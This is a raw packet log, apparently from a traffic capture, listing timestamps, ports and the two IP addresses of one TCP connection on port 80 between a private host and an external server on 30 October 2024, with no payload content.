Oct 30, 2024 18:06:46.763938904 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763952971 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763978004 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764009953 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764022112 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764031887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764043093 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764044046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764058113 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764071941 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764075994 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764096975 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764106989 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764131069 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764142036 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764152050 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764163017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764164925 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764174938 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764175892 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764187098 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764198065 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764199972 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764213085 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764224052 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764228106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764240026 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764266014 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764271021 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764281988 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764292955 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764303923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764311075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764314890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764324903 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764328003 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764342070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764352083 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764353037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764378071 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764394999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764410019 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764410973 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764413118 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764417887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764424086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764430046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764434099 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764524937 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764535904 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764540911 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764540911 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764547110 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764563084 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764586926 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764605045 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764607906 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764621019 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764631033 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764642000 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764655113 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764678955 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764689922 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764700890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764710903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764723063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764731884 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764734983 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764746904 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764749050 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764790058 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764805079 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764826059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764837980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764847994 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764858961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764870882 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764873028 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764877081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764883041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764894009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764897108 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764908075 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764918089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764920950 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764930964 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764940977 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764950991 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764976978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.764977932 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.764988899 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765000105 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765017986 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765019894 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765043974 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765069962 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765069962 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765080929 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765091896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765104055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765117884 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765140057 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765196085 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765211105 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765222073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765233994 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765233994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765245914 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765258074 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765259027 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765274048 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765285015 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765285015 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765294075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765297890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765309095 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765319109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765324116 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765348911 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765358925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765368938 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765371084 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765382051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765393972 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765400887 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765403986 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765414953 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765425920 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765429020 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765436888 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765450954 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765463114 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765469074 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765489101 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765489101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765501976 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765510082 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765512943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765527010 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765537024 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765541077 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765552998 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765557051 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765564919 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765575886 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765575886 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765594006 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765604019 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765621901 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765686989 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765688896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765691996 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765702009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765712976 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765723944 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765731096 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765736103 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765747070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765755892 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765757084 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765775919 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765778065 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765780926 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765794039 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765798092 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765810966 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765816927 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765820026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765837908 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765850067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765867949 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765883923 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.765961885 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.765975952 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766005039 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766028881 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766036034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766047955 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766077995 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766091108 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766110897 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766123056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766139030 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766146898 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766150951 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766164064 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766171932 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766180038 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766206026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766207933 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766225100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766237020 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766241074 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766248941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766259909 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766261101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766273022 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766273022 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766297102 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766316891 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766316891 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766330957 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766344070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766355038 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766366959 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766371965 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766395092 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766405106 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766942978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766957045 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766963959 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.766992092 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.766999960 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767011881 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767021894 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767036915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767047882 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767064095 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767088890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767105103 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767116070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767127037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767138004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767148972 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767149925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767173052 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767184973 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767244101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767255068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767265081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767276049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767282009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767292023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767302036 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767302990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767323017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767329931 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767334938 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767345905 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767345905 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767354965 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767388105 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767389059 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767399073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767410994 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767421007 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767431974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767433882 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767452002 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767455101 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767465115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767467022 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767474890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767492056 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767509937 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767519951 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767530918 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767539978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767563105 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767565966 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767581940 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767587900 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767589092 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767595053 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767601013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767616034 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767640114 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767725945 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767736912 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767748117 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767749071 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767756939 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767766953 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767786026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767786980 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767796993 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767807961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767807961 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767826080 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767833948 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767838001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767849922 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767859936 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767860889 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767873049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767884016 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.767884016 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767908096 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.767926931 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.768105030 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.768399954 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.769938946 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.769967079 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.769979000 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.769989967 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770003080 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770006895 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770006895 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770015955 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770030022 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770061970 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770140886 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770150900 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770163059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770174026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770190001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770193100 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770201921 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770214081 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770220995 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770220995 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770235062 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770246029 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770246983 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770257950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770258904 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770271063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770283937 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770307064 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770368099 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770380020 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770395041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770406008 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770412922 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770421028 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770431042 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770432949 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770442963 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770454884 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770456076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770467997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770478964 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770479918 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770490885 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770495892 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770508051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770518064 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.770519018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770531893 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.770544052 CET	80	49812	185.215.113.206	192.168.2.5
